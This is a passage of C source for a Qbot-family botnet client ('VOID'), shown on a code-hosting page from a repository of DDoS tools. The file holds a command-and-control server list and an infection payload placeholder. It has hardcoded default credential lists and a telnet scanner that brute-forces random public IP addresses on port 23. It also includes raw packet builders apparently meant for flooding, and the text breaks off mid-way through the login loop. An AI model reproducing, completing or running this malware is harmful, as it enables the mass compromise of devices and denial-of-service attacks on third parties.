Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
R00tS3c
GitHub Repository: R00tS3c/DDOS-RootSec
Path: blob/master/Botnets/Qbot/VOID/client.c
5038 views
1
#define PR_SET_NAME 15
2
#define SERVER_LIST_SIZE (sizeof(commServer) / sizeof(unsigned char *))
3
#define PAD_RIGHT 1
4
#define PAD_ZERO 2
5
#define PRINT_BUF_LEN 12
6
#define CMD_IAC 255
7
#define CMD_WILL 251
8
#define CMD_WONT 252
9
#define CMD_DO 253
10
#define CMD_DONT 254
11
#define OPT_SGA 3
12
#define STD2_STRING "dts"
13
#define STD2_SIZE 50
14
15
#include <stdlib.h>
16
#include <stdarg.h>
17
#include <stdio.h>
18
#include <sys/socket.h>
19
#include <sys/types.h>
20
#include <netinet/in.h>
21
#include <arpa/inet.h>
22
#include <netdb.h>
23
#include <signal.h>
24
#include <strings.h>
25
#include <string.h>
26
#include <sys/utsname.h>
27
#include <unistd.h>
28
#include <fcntl.h>
29
#include <errno.h>
30
#include <netinet/ip.h>
31
#include <netinet/udp.h>
32
#include <netinet/tcp.h>
33
#include <sys/wait.h>
34
#include <sys/ioctl.h>
35
#include <net/if.h>
36
37
char *infectline = "PAYLOADZZZZ\r\n";
38
39
unsigned char *commServer[] =
40
{
41
"IP:23"
42
};
43
44
char *useragents[] = {
45
"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:13.0) Gecko/20100101 Firefox/13.0.1",
46
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
47
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
48
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
49
"Mozilla/5.0 (Windows NT 5.1; rv:13.0) Gecko/20100101 Firefox/13.0.1",
50
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
51
"Mozilla/5.0 (Windows NT 6.1; rv:13.0) Gecko/20100101 Firefox/13.0.1",
52
"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
53
"Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)",
54
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:13.0) Gecko/20100101 Firefox/13.0.1",
55
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
56
"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
57
"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
58
"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
59
"Mozilla/5.0 (Linux; U; Android 2.2; fr-fr; Desire_A8181 Build/FRF91) App3leWebKit/53.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1",
60
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:13.0) Gecko/20100101 Firefox/13.0.1",
61
"Mozilla/5.0 (iPhone; CPU iPhone OS 5_1_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B206 Safari/7534.48.3",
62
"Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.0) Opera 7.02 Bork-edition [en]",
63
"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:12.0) Gecko/20100101 Firefox/12.0",
64
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
65
"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6",
66
"Mozilla/5.0 (iPad; CPU OS 5_1_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B206 Safari/7534.48.3",
67
"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; .NET CLR 1.1.4322; PeoplePal 6.2)",
68
};
69
70
int initConnection();
71
int getBogos(unsigned char *bogomips);
72
int getCores();
73
int getCountry(unsigned char *buf, int bufsize);
74
void makeRandomStr(unsigned char *buf, int length);
75
int sockprintf(int sock, char *formatStr, ...);
76
char *inet_ntoa(struct in_addr in);
77
78
int mainCommSock = 0, currentServer = -1, gotIP = 0;
79
uint32_t *pids;
80
uint32_t scanPid;
81
uint64_t numpids = 0;
82
struct in_addr ourIP;
83
unsigned char macAddress[6] = {0};
84
char *usernames[] = {"root\0", "admin\0", "user\0", "login\0", "guest\0", "support\0"};
85
char *passwords[] = {"root\0", "toor\0", "admin\0", "user\0", "guest\0", "login\0", "changeme\0", "1234\0", "12345\0", "123456\0", "default\0", "\0", "password\0", "support\0"};
86
87
#define PHI 0x9e3779b9
88
static uint32_t Q[4096], c = 362436;
89
90
void init_rand(uint32_t x)
91
{
92
int i;
93
94
Q[0] = x;
95
Q[1] = x + PHI;
96
Q[2] = x + PHI + PHI;
97
98
for (i = 3; i < 4096; i++) Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
99
}
100
101
uint32_t rand_cmwc(void)
102
{
103
uint64_t t, a = 18782LL;
104
static uint32_t i = 4095;
105
uint32_t x, r = 0xfffffffe;
106
i = (i + 1) & 4095;
107
t = a * Q[i] + c;
108
c = (uint32_t)(t >> 32);
109
x = t + c;
110
if (x < c) {
111
x++;
112
c++;
113
}
114
return (Q[i] = r - x);
115
}
116
117
void trim(char *str)
118
{
119
int i;
120
int begin = 0;
121
int end = strlen(str) - 1;
122
123
while (isspace(str[begin])) begin++;
124
125
while ((end >= begin) && isspace(str[end])) end--;
126
for (i = begin; i <= end; i++) str[i - begin] = str[i];
127
128
str[i - begin] = '\0';
129
}
130
131
static void printchar(unsigned char **str, int c)
132
{
133
if (str) {
134
**str = c;
135
++(*str);
136
}
137
else (void)write(1, &c, 1);
138
}
139
140
static int prints(unsigned char **out, const unsigned char *string, int width, int pad)
141
{
142
register int pc = 0, padchar = ' ';
143
144
if (width > 0) {
145
register int len = 0;
146
register const unsigned char *ptr;
147
for (ptr = string; *ptr; ++ptr) ++len;
148
if (len >= width) width = 0;
149
else width -= len;
150
if (pad & PAD_ZERO) padchar = '0';
151
}
152
if (!(pad & PAD_RIGHT)) {
153
for ( ; width > 0; --width) {
154
printchar (out, padchar);
155
++pc;
156
}
157
}
158
for ( ; *string ; ++string) {
159
printchar (out, *string);
160
++pc;
161
}
162
for ( ; width > 0; --width) {
163
printchar (out, padchar);
164
++pc;
165
}
166
167
return pc;
168
}
169
170
static int printi(unsigned char **out, int i, int b, int sg, int width, int pad, int letbase)
171
{
172
unsigned char print_buf[PRINT_BUF_LEN];
173
register unsigned char *s;
174
register int t, neg = 0, pc = 0;
175
register unsigned int u = i;
176
177
if (i == 0) {
178
print_buf[0] = '0';
179
print_buf[1] = '\0';
180
return prints (out, print_buf, width, pad);
181
}
182
183
if (sg && b == 10 && i < 0) {
184
neg = 1;
185
u = -i;
186
}
187
188
s = print_buf + PRINT_BUF_LEN-1;
189
*s = '\0';
190
191
while (u) {
192
t = u % b;
193
if( t >= 10 )
194
t += letbase - '0' - 10;
195
*--s = t + '0';
196
u /= b;
197
}
198
199
if (neg) {
200
if( width && (pad & PAD_ZERO) ) {
201
printchar (out, '-');
202
++pc;
203
--width;
204
}
205
else {
206
*--s = '-';
207
}
208
}
209
210
return pc + prints (out, s, width, pad);
211
}
212
213
static int print(unsigned char **out, const unsigned char *format, va_list args )
214
{
215
register int width, pad;
216
register int pc = 0;
217
unsigned char scr[2];
218
219
for (; *format != 0; ++format) {
220
if (*format == '%') {
221
++format;
222
width = pad = 0;
223
if (*format == '\0') break;
224
if (*format == '%') goto out;
225
if (*format == '-') {
226
++format;
227
pad = PAD_RIGHT;
228
}
229
while (*format == '0') {
230
++format;
231
pad |= PAD_ZERO;
232
}
233
for ( ; *format >= '0' && *format <= '9'; ++format) {
234
width *= 10;
235
width += *format - '0';
236
}
237
if( *format == 's' ) {
238
register char *s = (char *)va_arg( args, int );
239
pc += prints (out, s?s:"(null)", width, pad);
240
continue;
241
}
242
if( *format == 'd' ) {
243
pc += printi (out, va_arg( args, int ), 10, 1, width, pad, 'a');
244
continue;
245
}
246
if( *format == 'x' ) {
247
pc += printi (out, va_arg( args, int ), 16, 0, width, pad, 'a');
248
continue;
249
}
250
if( *format == 'X' ) {
251
pc += printi (out, va_arg( args, int ), 16, 0, width, pad, 'A');
252
continue;
253
}
254
if( *format == 'u' ) {
255
pc += printi (out, va_arg( args, int ), 10, 0, width, pad, 'a');
256
continue;
257
}
258
if( *format == 'c' ) {
259
scr[0] = (unsigned char)va_arg( args, int );
260
scr[1] = '\0';
261
pc += prints (out, scr, width, pad);
262
continue;
263
}
264
}
265
else {
266
out:
267
printchar (out, *format);
268
++pc;
269
}
270
}
271
if (out) **out = '\0';
272
va_end( args );
273
return pc;
274
}
275
276
int zprintf(const unsigned char *format, ...)
277
{
278
va_list args;
279
va_start( args, format );
280
return print( 0, format, args );
281
}
282
283
int szprintf(unsigned char *out, const unsigned char *format, ...)
284
{
285
va_list args;
286
va_start( args, format );
287
return print( &out, format, args );
288
}
289
290
291
int sockprintf(int sock, char *formatStr, ...)
292
{
293
unsigned char *textBuffer = malloc(2048);
294
memset(textBuffer, 0, 2048);
295
char *orig = textBuffer;
296
va_list args;
297
va_start(args, formatStr);
298
print(&textBuffer, formatStr, args);
299
va_end(args);
300
orig[strlen(orig)] = '\n';
301
zprintf("buf: %s\n", orig);
302
int q = send(sock,orig,strlen(orig), MSG_NOSIGNAL);
303
free(orig);
304
return q;
305
}
306
307
static int *fdopen_pids;
308
309
int fdpopen(unsigned char *program, register unsigned char *type)
310
{
311
register int iop;
312
int pdes[2], fds, pid;
313
314
if (*type != 'r' && *type != 'w' || type[1]) return -1;
315
316
if (pipe(pdes) < 0) return -1;
317
if (fdopen_pids == NULL) {
318
if ((fds = getdtablesize()) <= 0) return -1;
319
if ((fdopen_pids = (int *)malloc((unsigned int)(fds * sizeof(int)))) == NULL) return -1;
320
memset((unsigned char *)fdopen_pids, 0, fds * sizeof(int));
321
}
322
323
switch (pid = vfork())
324
{
325
case -1:
326
close(pdes[0]);
327
close(pdes[1]);
328
return -1;
329
case 0:
330
if (*type == 'r') {
331
if (pdes[1] != 1) {
332
dup2(pdes[1], 1);
333
close(pdes[1]);
334
}
335
close(pdes[0]);
336
} else {
337
if (pdes[0] != 0) {
338
(void) dup2(pdes[0], 0);
339
(void) close(pdes[0]);
340
}
341
(void) close(pdes[1]);
342
}
343
execl("/bin/sh", "sh", "-c", program, NULL);
344
_exit(127);
345
}
346
if (*type == 'r') {
347
iop = pdes[0];
348
(void) close(pdes[1]);
349
} else {
350
iop = pdes[1];
351
(void) close(pdes[0]);
352
}
353
fdopen_pids[iop] = pid;
354
return (iop);
355
}
356
357
int fdpclose(int iop)
358
{
359
register int fdes;
360
sigset_t omask, nmask;
361
int pstat;
362
register int pid;
363
364
if (fdopen_pids == NULL || fdopen_pids[iop] == 0) return (-1);
365
(void) close(iop);
366
sigemptyset(&nmask);
367
sigaddset(&nmask, SIGINT);
368
sigaddset(&nmask, SIGQUIT);
369
sigaddset(&nmask, SIGHUP);
370
(void) sigprocmask(SIG_BLOCK, &nmask, &omask);
371
do {
372
pid = waitpid(fdopen_pids[iop], (int *) &pstat, 0);
373
} while (pid == -1 && errno == EINTR);
374
(void) sigprocmask(SIG_SETMASK, &omask, NULL);
375
fdopen_pids[fdes] = 0;
376
return (pid == -1 ? -1 : WEXITSTATUS(pstat));
377
}
378
379
unsigned char *fdgets(unsigned char *buffer, int bufferSize, int fd)
380
{
381
int got = 1, total = 0;
382
while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
383
return got == 0 ? NULL : buffer;
384
}
385
386
static const long hextable[] = {
387
[0 ... 255] = -1,
388
['0'] = 0, 1, 2, 3, 4, 5, 6, 7, 8, 9,
389
['A'] = 10, 11, 12, 13, 14, 15,
390
['a'] = 10, 11, 12, 13, 14, 15
391
};
392
393
long parseHex(unsigned char *hex)
394
{
395
long ret = 0;
396
while (*hex && ret >= 0) ret = (ret << 4) | hextable[*hex++];
397
return ret;
398
}
399
400
int wildString(const unsigned char* pattern, const unsigned char* string) {
401
switch(*pattern)
402
{
403
case '\0': return *string;
404
case '*': return !(!wildString(pattern+1, string) || *string && !wildString(pattern, string+1));
405
case '?': return !(*string && !wildString(pattern+1, string+1));
406
default: return !((toupper(*pattern) == toupper(*string)) && !wildString(pattern+1, string+1));
407
}
408
}
409
410
int getHost(unsigned char *toGet, struct in_addr *i)
411
{
412
struct hostent *h;
413
if((i->s_addr = inet_addr(toGet)) == -1) return 1;
414
return 0;
415
}
416
417
void uppercase(unsigned char *str)
418
{
419
while(*str) { *str = toupper(*str); str++; }
420
}
421
422
int getBogos(unsigned char *bogomips)
423
{
424
int cmdline = open("/proc/cpuinfo", O_RDONLY);
425
char linebuf[4096];
426
while(fdgets(linebuf, 4096, cmdline) != NULL)
427
{
428
uppercase(linebuf);
429
if(strstr(linebuf, "BOGOMIPS") == linebuf)
430
{
431
unsigned char *pos = linebuf + 8;
432
while(*pos == ' ' || *pos == '\t' || *pos == ':') pos++;
433
while(pos[strlen(pos)-1] == '\r' || pos[strlen(pos)-1] == '\n') pos[strlen(pos)-1]=0;
434
if(strchr(pos, '.') != NULL) *strchr(pos, '.') = 0x00;
435
strcpy(bogomips, pos);
436
close(cmdline);
437
return 0;
438
}
439
memset(linebuf, 0, 4096);
440
}
441
close(cmdline);
442
return 1;
443
}
444
445
int getCores()
446
{
447
int totalcores = 0;
448
int cmdline = open("/proc/cpuinfo", O_RDONLY);
449
char linebuf[4096];
450
while(fdgets(linebuf, 4096, cmdline) != NULL)
451
{
452
uppercase(linebuf);
453
if(strstr(linebuf, "BOGOMIPS") == linebuf) totalcores++;
454
memset(linebuf, 0, 4096);
455
}
456
close(cmdline);
457
return totalcores;
458
459
}
460
461
void makeRandomStr(unsigned char *buf, int length)
462
{
463
int i = 0;
464
for(i = 0; i < length; i++) buf[i] = (rand_cmwc()%(91-65))+65;
465
}
466
467
int recvLine(int socket, unsigned char *buf, int bufsize)
468
{
469
memset(buf, 0, bufsize);
470
471
fd_set myset;
472
struct timeval tv;
473
tv.tv_sec = 30;
474
tv.tv_usec = 0;
475
FD_ZERO(&myset);
476
FD_SET(socket, &myset);
477
int selectRtn, retryCount;
478
if ((selectRtn = select(socket+1, &myset, NULL, &myset, &tv)) <= 0) {
479
while(retryCount < 10)
480
{
481
sockprintf(mainCommSock, "PING");
482
483
tv.tv_sec = 30;
484
tv.tv_usec = 0;
485
FD_ZERO(&myset);
486
FD_SET(socket, &myset);
487
if ((selectRtn = select(socket+1, &myset, NULL, &myset, &tv)) <= 0) {
488
retryCount++;
489
continue;
490
}
491
492
break;
493
}
494
}
495
496
unsigned char tmpchr;
497
unsigned char *cp;
498
int count = 0;
499
500
cp = buf;
501
while(bufsize-- > 1)
502
{
503
if(recv(mainCommSock, &tmpchr, 1, 0) != 1) {
504
*cp = 0x00;
505
return -1;
506
}
507
*cp++ = tmpchr;
508
if(tmpchr == '\n') break;
509
count++;
510
}
511
*cp = 0x00;
512
513
// zprintf("recv: %s\n", cp);
514
515
return count;
516
}
517
518
int connectTimeout(int fd, char *host, int port, int timeout)
519
{
520
struct sockaddr_in dest_addr;
521
fd_set myset;
522
struct timeval tv;
523
socklen_t lon;
524
525
int valopt;
526
long arg = fcntl(fd, F_GETFL, NULL);
527
arg |= O_NONBLOCK;
528
fcntl(fd, F_SETFL, arg);
529
530
dest_addr.sin_family = AF_INET;
531
dest_addr.sin_port = htons(port);
532
if(getHost(host, &dest_addr.sin_addr)) return 0;
533
memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
534
int res = connect(fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
535
536
if (res < 0) {
537
if (errno == EINPROGRESS) {
538
tv.tv_sec = timeout;
539
tv.tv_usec = 0;
540
FD_ZERO(&myset);
541
FD_SET(fd, &myset);
542
if (select(fd+1, NULL, &myset, NULL, &tv) > 0) {
543
lon = sizeof(int);
544
getsockopt(fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
545
if (valopt) return 0;
546
}
547
else return 0;
548
}
549
else return 0;
550
}
551
552
arg = fcntl(fd, F_GETFL, NULL);
553
arg &= (~O_NONBLOCK);
554
fcntl(fd, F_SETFL, arg);
555
556
return 1;
557
}
558
559
int listFork()
560
{
561
uint32_t parent, *newpids, i;
562
parent = fork();
563
if (parent <= 0) return parent;
564
numpids++;
565
newpids = (uint32_t*)malloc((numpids + 1) * 4);
566
for (i = 0; i < numpids - 1; i++) newpids[i] = pids[i];
567
newpids[numpids - 1] = parent;
568
free(pids);
569
pids = newpids;
570
return parent;
571
}
572
573
int negotiate(int sock, unsigned char *buf, int len)
574
{
575
unsigned char c;
576
577
switch (buf[1]) {
578
case CMD_IAC: /*dropped an extra 0xFF wh00ps*/ return 0;
579
case CMD_WILL:
580
case CMD_WONT:
581
case CMD_DO:
582
case CMD_DONT:
583
c = CMD_IAC;
584
send(sock, &c, 1, MSG_NOSIGNAL);
585
if (CMD_WONT == buf[1]) c = CMD_DONT;
586
else if (CMD_DONT == buf[1]) c = CMD_WONT;
587
else if (OPT_SGA == buf[1]) c = (buf[1] == CMD_DO ? CMD_WILL : CMD_DO);
588
else c = (buf[1] == CMD_DO ? CMD_WONT : CMD_DONT);
589
send(sock, &c, 1, MSG_NOSIGNAL);
590
send(sock, &(buf[2]), 1, MSG_NOSIGNAL);
591
break;
592
593
default:
594
break;
595
}
596
597
return 0;
598
}
599
600
int matchPrompt(char *bufStr)
601
{
602
char *prompts = ":>%$#\0";
603
604
int bufLen = strlen(bufStr);
605
int i, q = 0;
606
for(i = 0; i < strlen(prompts); i++)
607
{
608
while(bufLen > q && (*(bufStr + bufLen - q) == 0x00 || *(bufStr + bufLen - q) == ' ' || *(bufStr + bufLen - q) == '\r' || *(bufStr + bufLen - q) == '\n')) q++;
609
if(*(bufStr + bufLen - q) == prompts[i]) return 1;
610
}
611
612
return 0;
613
}
614
615
int readUntil(int fd, char *toFind, int matchLePrompt, int timeout, int timeoutusec, char *buffer, int bufSize, int initialIndex)
616
{
617
int bufferUsed = initialIndex, got = 0, found = 0;
618
fd_set myset;
619
struct timeval tv;
620
tv.tv_sec = timeout;
621
tv.tv_usec = timeoutusec;
622
unsigned char *initialRead = NULL;
623
624
while(bufferUsed + 2 < bufSize && (tv.tv_sec > 0 || tv.tv_usec > 0))
625
{
626
FD_ZERO(&myset);
627
FD_SET(fd, &myset);
628
if (select(fd+1, &myset, NULL, NULL, &tv) < 1) break;
629
initialRead = buffer + bufferUsed;
630
got = recv(fd, initialRead, 1, 0);
631
if(got == -1 || got == 0) return 0;
632
bufferUsed += got;
633
if(*initialRead == 0xFF)
634
{
635
got = recv(fd, initialRead + 1, 2, 0);
636
if(got == -1 || got == 0) return 0;
637
bufferUsed += got;
638
if(!negotiate(fd, initialRead, 3)) return 0;
639
} else {
640
if(strstr(buffer, toFind) != NULL || (matchLePrompt && matchPrompt(buffer))) { found = 1; break; }
641
}
642
}
643
644
if(found) return 1;
645
return 0;
646
}
647
648
static uint8_t ipState[5];
649
in_addr_t getRandomPublicIP()
650
{
651
char ip[16];
652
653
if(ipState[4] >= 255){
654
ipState[3]++;
655
ipState[4] = 0;
656
szprintf(ip, "%d.%d.%d.%d", ipState[1], ipState[2], ipState[3], ipState[4]);
657
return inet_addr(ip);
658
}
659
if(ipState[3] >= 255){
660
ipState[2]++;
661
ipState[3] = 0;
662
szprintf(ip, "%d.%d.%d.%d", ipState[1], ipState[2], ipState[3], ipState[4]);
663
return inet_addr(ip);
664
}
665
if(ipState[2] >= 255){
666
ipState[1] = rand() % 255;
667
ipState[2] = rand() % 255;
668
ipState[3] = rand() % 255;
669
ipState[4] = rand() % 255;
670
szprintf(ip, "%d.%d.%d.%d", ipState[1], ipState[2], ipState[3], ipState[4]);
671
return inet_addr(ip);
672
}
673
674
ipState[4]++;
675
676
while(
677
(ipState[1] == 0) ||
678
(ipState[1] == 10) ||
679
(ipState[1] == 100 && (ipState[2] >= 64 && ipState[2] <= 127)) ||
680
(ipState[1] == 127) ||
681
(ipState[1] == 169 && ipState[2] == 254) ||
682
(ipState[1] == 172 && (ipState[2] <= 16 && ipState[2] <= 31)) ||
683
(ipState[1] == 192 && ipState[2] == 0 && ipState[3] == 2) ||
684
(ipState[1] == 192 && ipState[2] == 88 && ipState[3] == 99) ||
685
(ipState[1] == 192 && ipState[2] == 168) ||
686
(ipState[1] == 198 && (ipState[2] == 18 || ipState[2] == 19)) ||
687
(ipState[1] == 198 && ipState[2] == 51 && ipState[3] == 100) ||
688
(ipState[1] == 203 && ipState[2] == 0 && ipState[3] == 113) ||
689
(ipState[1] >= 224) ||
690
(ipState[1] == 185 && ipState[2] == 62) ||
691
(ipState[1] == 208 && ipState[2] == 67)
692
)
693
{
694
ipState[1] = rand() % 255;
695
ipState[2] = rand() % 255;
696
ipState[3] = rand() % 255;
697
ipState[4] = rand() % 255;
698
}
699
700
szprintf(ip, "%d.%d.%d.%d", ipState[1], ipState[2], ipState[3], ipState[4]);
701
702
return inet_addr(ip);
703
}
704
705
in_addr_t getRandomIP(in_addr_t netmask)
706
{
707
in_addr_t tmp = ntohl(ourIP.s_addr) & netmask;
708
return tmp ^ ( rand_cmwc() & ~netmask);
709
}
710
711
unsigned short csum (unsigned short *buf, int count)
712
{
713
register uint64_t sum = 0;
714
while( count > 1 ) { sum += *buf++; count -= 2; }
715
if(count > 0) { sum += *(unsigned char *)buf; }
716
while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
717
return (uint16_t)(~sum);
718
}
719
720
unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph)
721
{
722
723
struct tcp_pseudo
724
{
725
unsigned long src_addr;
726
unsigned long dst_addr;
727
unsigned char zero;
728
unsigned char proto;
729
unsigned short length;
730
} pseudohead;
731
unsigned short total_len = iph->tot_len;
732
pseudohead.src_addr=iph->saddr;
733
pseudohead.dst_addr=iph->daddr;
734
pseudohead.zero=0;
735
pseudohead.proto=IPPROTO_TCP;
736
pseudohead.length=htons(sizeof(struct tcphdr));
737
int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr);
738
unsigned short *tcp = malloc(totaltcp_len);
739
memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo));
740
memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr));
741
unsigned short output = csum(tcp,totaltcp_len);
742
free(tcp);
743
return output;
744
}
745
746
void makeIPPacket(struct iphdr *iph, uint32_t dest, uint32_t source, uint8_t protocol, int packetSize)
747
{
748
iph->ihl = 5;
749
iph->version = 4;
750
iph->tos = 0;
751
iph->tot_len = sizeof(struct iphdr) + packetSize;
752
iph->id = rand_cmwc();
753
iph->frag_off = 0;
754
iph->ttl = MAXTTL;
755
iph->protocol = protocol;
756
iph->check = 0;
757
iph->saddr = source;
758
iph->daddr = dest;
759
}
760
761
int sclose(int fd)
762
{
763
if(3 > fd) return 1;
764
close(fd);
765
return 0;
766
}
767
768
void StartTheLelz()
769
{
770
int max = (getdtablesize() / 4) * 3, i, res;
771
fd_set myset;
772
struct timeval tv;
773
socklen_t lon;
774
int valopt;
775
776
max = max > 512 ? 512 : max;
777
778
struct sockaddr_in dest_addr;
779
dest_addr.sin_family = AF_INET;
780
dest_addr.sin_port = htons(23);
781
memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
782
783
struct telstate_t
784
{
785
int fd;
786
uint32_t ip;
787
uint8_t state;
788
uint8_t complete;
789
uint8_t usernameInd;
790
uint8_t passwordInd;
791
uint32_t totalTimeout;
792
uint16_t bufUsed;
793
char *sockbuf;
794
} fds[max];
795
memset(fds, 0, max * (sizeof(int) + 1));
796
for(i = 0; i < max; i++) { fds[i].complete = 1; fds[i].sockbuf = malloc(1024); memset(fds[i].sockbuf, 0, 1024); }
797
struct timeval timeout;
798
timeout.tv_sec = 5;
799
timeout.tv_usec = 0;
800
while(1)
801
{
802
for(i = 0; i < max; i++)
803
{
804
switch(fds[i].state)
805
{
806
case 0:
807
{
808
memset(fds[i].sockbuf, 0, 1024);
809
810
if(fds[i].complete) { char *tmp = fds[i].sockbuf; memset(&(fds[i]), 0, sizeof(struct telstate_t)); fds[i].sockbuf = tmp; fds[i].ip = getRandomPublicIP(); }
811
else {
812
fds[i].passwordInd++;
813
if(fds[i].passwordInd == sizeof(passwords) / sizeof(char *)) { fds[i].passwordInd = 0; fds[i].usernameInd++; }
814
if(fds[i].usernameInd == sizeof(usernames) / sizeof(char *)) { fds[i].complete = 1; continue; }
815
}
816
dest_addr.sin_family = AF_INET;
817
dest_addr.sin_port = htons(23);
818
memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
819
dest_addr.sin_addr.s_addr = fds[i].ip;
820
fds[i].fd = socket(AF_INET, SOCK_STREAM, 0);
821
setsockopt (fds[i].fd, SOL_SOCKET, SO_RCVTIMEO, (char *)&timeout, sizeof(timeout));
822
setsockopt (fds[i].fd, SOL_SOCKET, SO_SNDTIMEO, (char *)&timeout, sizeof(timeout));
823
if(fds[i].fd == -1) { continue; }
824
fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) | O_NONBLOCK);
825
if(connect(fds[i].fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr)) == -1 && errno != EINPROGRESS) { /*printf("close %lu\n",fds[i].ip);*/ sclose(fds[i].fd); fds[i].complete = 1; }
826
else { fds[i].state = 1; fds[i].totalTimeout = 0; }
827
}
828
break;
829
830
case 1:
831
{
832
if(fds[i].totalTimeout == 0) fds[i].totalTimeout = time(NULL);
833
834
FD_ZERO(&myset);
835
FD_SET(fds[i].fd, &myset);
836
tv.tv_sec = 0;
837
tv.tv_usec = 10000;
838
res = select(fds[i].fd+1, NULL, &myset, NULL, &tv);
839
if(res == 1)
840
{
841
lon = sizeof(int);
842
valopt = 0;
843
getsockopt(fds[i].fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
844
if(valopt)
845
{
846
sclose(fds[i].fd);
847
fds[i].state = 0;
848
fds[i].complete = 1;
849
} else {
850
fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) & (~O_NONBLOCK));
851
fds[i].totalTimeout = 0;
852
fds[i].bufUsed = 0;
853
memset(fds[i].sockbuf, 0, 1024);
854
fds[i].state = 2;
855
continue;
856
}
857
} else if(res == -1)
858
{
859
sclose(fds[i].fd);
860
fds[i].state = 0;
861
fds[i].complete = 1;
862
}
863
864
if(fds[i].totalTimeout + 5 < time(NULL)) //was if(fds[i].totalTimeout + 5 < time(NULL))
865
{
866
sclose(fds[i].fd);
867
fds[i].state = 0;
868
fds[i].complete = 1;
869
}
870
}
871
break;
872
873
case 2:
874
{
875
if(fds[i].totalTimeout == 0) fds[i].totalTimeout = time(NULL);
876
if(matchPrompt(fds[i].sockbuf)) {
877
fds[i].state = 7;
878
}
879
880
if(readUntil(fds[i].fd, "ogin:", 0, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
881
{
882
fds[i].totalTimeout = 0;
883
fds[i].bufUsed = 0;
884
memset(fds[i].sockbuf, 0, 1024);
885
fds[i].state = 3;
886
continue;
887
} else if(readUntil(fds[i].fd, "sername:", 0, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
888
{
889
fds[i].totalTimeout = 0;
890
fds[i].bufUsed = 0;
891
memset(fds[i].sockbuf, 0, 1024);
892
fds[i].state = 3;
893
continue;
894
}else if(readUntil(fds[i].fd, "assword:", 0, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
895
{
896
fds[i].totalTimeout = 0;
897
fds[i].bufUsed = 0;
898
memset(fds[i].sockbuf, 0, 1024);
899
fds[i].state = 5;
900
continue;
901
}else {
902
fds[i].bufUsed = strlen(fds[i].sockbuf);
903
}
904
905
if(fds[i].totalTimeout + 20 < time(NULL))
906
{
907
sclose(fds[i].fd);
908
fds[i].state = 0;
909
fds[i].complete = 1;
910
}
911
}
912
break;
913
914
case 3:
915
{
916
if(send(fds[i].fd, usernames[fds[i].usernameInd], strlen(usernames[fds[i].usernameInd]), MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
917
if(send(fds[i].fd, "\r\n", 2, MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
918
fds[i].state = 4;
919
}
920
break;
921
922
case 4:
923
{
924
if(fds[i].totalTimeout == 0) fds[i].totalTimeout = time(NULL);
925
926
if(matchPrompt(fds[i].sockbuf)) {
927
fds[i].state = 7;
928
}
929
930
if(readUntil(fds[i].fd, "assword:", 1, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
931
{
932
